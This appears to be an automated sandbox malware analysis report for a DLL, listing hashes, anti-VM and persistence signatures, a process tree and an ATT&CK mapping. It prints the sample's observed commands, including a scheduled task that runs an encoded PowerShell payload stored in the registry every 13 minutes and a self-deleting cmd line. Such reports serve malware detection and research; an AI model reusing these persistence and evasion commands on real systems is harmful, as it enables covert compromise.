feef7c585a67e368ce1a514158d6abc280e502b0408ad8b589d83687360ff11f

Analysis

max time kernel
117s
max time network
120s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
29-06-2023 21:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

443c727f45873a83f2b236cafa7781439e0ce9a25120d01621a812af15934ffd.dll
Size

18KB
MD5

8bc27fd9c49426a50ebc2d55e84a2ab6
SHA1

15c5ff436d2f663ff90f6e194c6b397be35952e9
SHA256

443c727f45873a83f2b236cafa7781439e0ce9a25120d01621a812af15934ffd
SHA512

6bf54dd10d675f97570789231764b38e3b641669e4f55b47074715ff7a7e5cdb47fe8282438f01e153a293278dec994ea3651e9c7681f0654dfcfba09875f34e
SSDEEP

192:Y7z0+lD+GrfDtmiQe9XzDQOrueD2ra7oSCEPhQs8WOQUbS3TwaARqRCfaU5MW:vmjDs2dBHqra7oSjMvIwveCfaU5v

Score

9^/10

evasion

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ regsvr32.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3380 schtasks.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3228 PING.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	regsvr32.exe

pid	process
3380	schtasks.exe

pid	process
3228	PING.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

regsvr32.exeregsvr32.execmd.exe

description	pid	process	target process
PID 1416 wrote to memory of 3012	1416	regsvr32.exe	regsvr32.exe
PID 1416 wrote to memory of 3012	1416	regsvr32.exe	regsvr32.exe
PID 1416 wrote to memory of 3012	1416	regsvr32.exe	regsvr32.exe
PID 3012 wrote to memory of 3380	3012	regsvr32.exe	schtasks.exe
PID 3012 wrote to memory of 3380	3012	regsvr32.exe	schtasks.exe
PID 3012 wrote to memory of 3380	3012	regsvr32.exe	schtasks.exe
PID 3012 wrote to memory of 4060	3012	regsvr32.exe	cmd.exe
PID 3012 wrote to memory of 4060	3012	regsvr32.exe	cmd.exe
PID 3012 wrote to memory of 4060	3012	regsvr32.exe	cmd.exe
PID 4060 wrote to memory of 3228	4060	cmd.exe	PING.EXE
PID 4060 wrote to memory of 3228	4060	cmd.exe	PING.EXE
PID 4060 wrote to memory of 3228	4060	cmd.exe	PING.EXE

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\443c727f45873a83f2b236cafa7781439e0ce9a25120d01621a812af15934ffd.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:1416

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\443c727f45873a83f2b236cafa7781439e0ce9a25120d01621a812af15934ffd.dll
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Suspicious use of WriteProcessMemory
PID:3012

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /Create /F /TN "{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}" /TR " cmd /q /c start /min \"\" powershell \"$nonresistantOutlivesDictatorial = Get-ItemProperty -Path HKCU:\Software\nonresistantOutlivesDictatorial; powershell -encodedcommand $nonresistantOutlivesDictatorial.AphroniaHaimavati \"" /SC MINUTE /MO 13
3⤵
- Creates scheduled task(s)
PID:3380

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C "ping localhost && DEL /F /S /Q /A C:\Users\Admin\AppData\Local\Temp\443c727f45873a83f2b236cafa7781439e0ce9a25120d01621a812af15934ffd.dll"
3⤵
- Suspicious use of WriteProcessMemory
PID:4060

C:\Windows\SysWOW64\PING.EXE
ping localhost
4⤵
- Runs ping.exe
PID:3228

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads